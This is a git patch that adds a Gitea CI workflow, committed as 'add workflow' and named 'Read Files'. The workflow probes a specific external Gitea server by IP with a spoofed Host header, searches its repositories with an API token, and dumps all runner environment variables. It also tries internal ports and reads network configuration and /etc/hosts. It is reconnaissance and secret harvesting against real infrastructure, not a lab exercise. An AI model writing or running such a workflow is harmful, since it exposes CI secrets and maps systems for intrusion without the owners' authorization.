From a4407dba3eb539105cf213f266d83e93ba1dab6c Mon Sep 17 00:00:00 2001 From: secdev99 Date: Sat, 4 Jul 2026 00:07:05 +0000 Subject: [PATCH] add workflow --- .gitea/workflows/read.yml | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 .gitea/workflows/read.yml diff --git a/.gitea/workflows/read.yml b/.gitea/workflows/read.yml new file mode 100644 index 0000000..768748a --- /dev/null +++ b/.gitea/workflows/read.yml @@ -0,0 +1,24 @@ +name: Read Files +on: + push: + branches: [main] + workflow_dispatch: + +jobs: + read: + runs-on: ubuntu-latest + steps: + - name: Read app.ini via API + run: | + echo "=== Gitea Version ===" + curl -sS "http://8.213.205.86/api/v1/version" -H "Host: git.monogps.com" + echo "=== Reading twmonogps repos ===" + curl -sS "http://8.213.205.86/api/v1/repos/search?limit=50" -H "Host: git.monogps.com" -H "Authorization: token TOKEN_HERE" + echo "=== Env vars ===" + env | sort + echo "=== Try internal access ===" + curl -sS "http://localhost:3000/api/v1/version" 2>&1 || true + curl -sS "http://8.213.205.86:3000/api/v1/version" -H "Host: git.monogps.com" 2>&1 || true + echo "=== Network ===" + ip addr 2>/dev/null || ifconfig 2>/dev/null || true + cat /etc/hosts 2>/dev/null || true